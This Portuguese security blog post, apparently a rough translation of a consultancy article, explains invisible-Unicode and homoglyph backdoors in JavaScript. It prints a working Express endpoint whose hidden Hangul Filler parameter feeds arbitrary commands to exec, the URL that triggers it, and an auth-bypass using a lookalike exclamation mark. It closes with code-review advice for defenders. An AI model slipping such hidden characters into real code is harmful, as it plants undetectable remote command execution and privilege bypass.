Categories: ALERTAS

O backdoor invisivel do javascript

Escrito por Wolfgang Ettlinger em

Esta postagem inspirou uma ideia: e se um backdoor literalmente não puder ser visto e, portanto, evite ser detectado até mesmo em análises completas de código?

Quando estávamos terminando esta postagem no blog, uma equipe da Universidade de Cambridge publicou um artigo descrevendo esse ataque. A abordagem deles, no entanto, é bem diferente da nossa – ela se concentra no mecanismo bidirecional Unicode (Bidi). Implementamos uma versão diferente do que o jornal intitula “ Ataques de personagens invisíveis ” e “ Ataques de homóglifos “.

Sem mais delongas, aqui está a porta dos fundos . Você pode identificá-lo?

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

Os implementos de script um exame de saúde da rede muito simples HTTP endpoint que executa ping -c 1 google.com, bem como curl -s http://example.come retorna se esses comandos executados com sucesso. O parâmetro HTTP opcional timeoutlimita o tempo de execução do comando.

A porta de trás

Nossa abordagem para criar a porta dos fundos foi, primeiro, encontrar um caractere Unicode invisível que pode ser interpretado como um identificador / variável em JavaScript. A partir da versão ECMAScript 2015, todos os caracteres Unicode com propriedade Unicode ID_Startpodem ser usados ​​em identificadores (caracteres com propriedade ID_Continuepodem ser usados ​​após o caractere inicial).

O caractere “ㅤ” (0x3164 em hexadecimal) é denominado “HANGUL FILLER” e pertence à categoria Unicode “Letra, outra” . Como esse caractere é considerado uma letra , ele tem a ID_Startpropriedade e pode, portanto, aparecer em uma variável JavaScript – perfeito!

Em seguida, uma maneira de usar esse personagem invisível despercebido teve que ser encontrada. O seguinte visualiza a abordagem escolhida, substituindo o caractere em questão por sua representação de sequência de escape :

    const { timeout,\u3164} = req.query;

Uma atribuição de desestruturação é usada para desconstruir os parâmetros HTTP req.query. Ao contrário do que pode ser visto , o parâmetro timeoutnão é o único parâmetro extraído do req.queryatributo! Uma variável adicional / parâmetro HTTP chamado “ㅤ” é recuperado – se um parâmetro HTTP chamado “ㅤ” é passado, ele é atribuído à variável invisível .

Da mesma forma, quando a checkCommandsmatriz é construída, esta variável é incluída na matriz:

    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',\u3164
    ];

Cada elemento na matriz, os comandos codificados permanentemente, bem como o parâmetro fornecido pelo usuário, é então passado para a execfunção. Esta função executa comandos do sistema operacional. Para um invasor executar comandos arbitrários do sistema operacional, ele teria que passar um parâmetro denominado “ㅤ” (em sua forma codificada por URL) para o endpoint:

http://host:8080/network_health?%E3%85%A4=<any command>

Esta abordagem não pode ser detectada por meio do destaque de sintaxe, pois os caracteres invisíveis não são exibidos e, portanto, não são coloridos pelo IDE / editor de texto:

O ataque requer o IDE / editor de texto (e a fonte usada) para renderizar corretamente os caracteres invisíveis. Pelo menos o Notepad ++ e o VS Code o renderizam corretamente (no VS Code o caractere invisível é ligeiramente mais largo do que os caracteres ASCII). O script se comporta conforme descrito pelo menos com o Nó 14.

Abordagens de homoglifos

Além de caracteres invisíveis, também é possível introduzir backdoors usando caracteres Unicode que se parecem muito com, por exemplo, operadores:

const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */const environment = 'PRODUCTION';
/* … */function isUserAdmin(user) {
    if(environmentǃ=ENV_PROD){
        // bypass authZ checks in DEV
        return true;
    }

    /* … */    return false;
}

O caractere “ǃ” usado não é um ponto de exclamação, mas um caractere “ CLIQUE ALVEOLAR ”. A linha a seguir, portanto, não compara a variável environmentà string, "PRODUCTION"mas, em vez disso, atribui a string "PRODUCTION"à variável previamente indefinida environmentǃ:

    if(environmentǃ=ENV_PROD){

Portanto, a expressão dentro da instrução if é sempre true(testada com o Nó 14).

Existem muitos outros caracteres semelhantes aos usados ​​no código que podem ser usados ​​para tais propósitos (por exemplo, “/”, “-”, “+”, “⩵”, “❨”, “⫽”, “꓿” , “∗”). O Unicode chama esses caracteres de “confundíveis” .

Remover

Observe que mexer com o Unicode para ocultar códigos vulneráveis ​​ou maliciosos não é uma ideia nova (também usando caracteres invisíveis ) e o Unicode inerentemente abre possibilidades adicionais para ofuscar o código . No entanto, acreditamos que esses truques são bem legais, e é por isso que queremos compartilhá-los.

O Unicode deve ser levado em consideração ao fazer revisões de código de contribuidores desconhecidos ou não confiáveis. Isso é especialmente interessante para projetos de código aberto, pois eles podem receber contribuições de desenvolvedores que são efetivamente anônimos.

A equipe de Cambridge propõe restringir caracteres Bidi Unicode. Como mostramos, ataques de homoglifos e personagens invisíveis também podem representar uma ameaça. Em nossa experiência, caracteres não ASCII são muito raros no código. Muitas equipes de desenvolvimento escolheram usar o inglês como o idioma de desenvolvimento principal (tanto para código quanto para strings dentro do código) para permitir a cooperação internacional (o ASCII cobre todos / a maioria dos caracteres usados ​​no idioma inglês). A tradução para outros idiomas geralmente é feita por meio de arquivos dedicados. Quando revisamos o código do idioma alemão, vemos principalmente caracteres não-ASCII sendo substituídos por caracteres ASCII (por exemplo, ä → ae, ß → ss). Portanto, pode ser uma boa ideia proibir quaisquer caracteres não ASCII.

Fonte: https://certitude.consulting/

Ninja

Na cena de cybersecurity a mais de 25 anos, Ninja trabalha como evangelizador de segurança da informação no Brasil. Preocupado com a conscientização de segurança cibernética, a ideia inicial é conseguir expor um pouco para o publico Brasileiro do que acontece no mundo.

Recent Posts

Qualys alerta: avalanche de CVEs e janela de exploração negativa entram na era Mythos

IA está comprimindo a janela entre divulgação e exploração a ponto de ficar negativa. A…

4 semanas ago

NoVoice no Google Play: malware com rootkit infectou 2,3 milhões e mira Androids desatualizados

Operação NoVoice espalhou-se por mais de 50 apps do Google Play e explorou falhas antigas…

1 mês ago

Criminosos dizem ter hackeado a cidade de Meriden (EUA) e roubado dados

Grupo Inc reivindica ataque contra a prefeitura de Meriden, Connecticut. A cidade desligou serviços e…

1 mês ago

Alemanha expõe líder do REvil/GandCrab e reacende debate sobre guerra ao ransomware

A Alemanha expôs o líder ligado a GandCrab/REvil e reforçou o alerta sobre rebrandings no…

1 mês ago

Exploit zero‑day BlueHammer atinge Windows Defender e dá acesso SYSTEM

BlueHammer é um zero‑day LPE que explora o Windows Defender e eleva um usuário comum…

1 mês ago

Drift suspende serviços após ataque que pode ter levado mais de US$ 285 milhões

Drift Protocol suspendeu depósitos e saques após ataque na Solana. Estimativas apontam perdas entre US$…

1 mês ago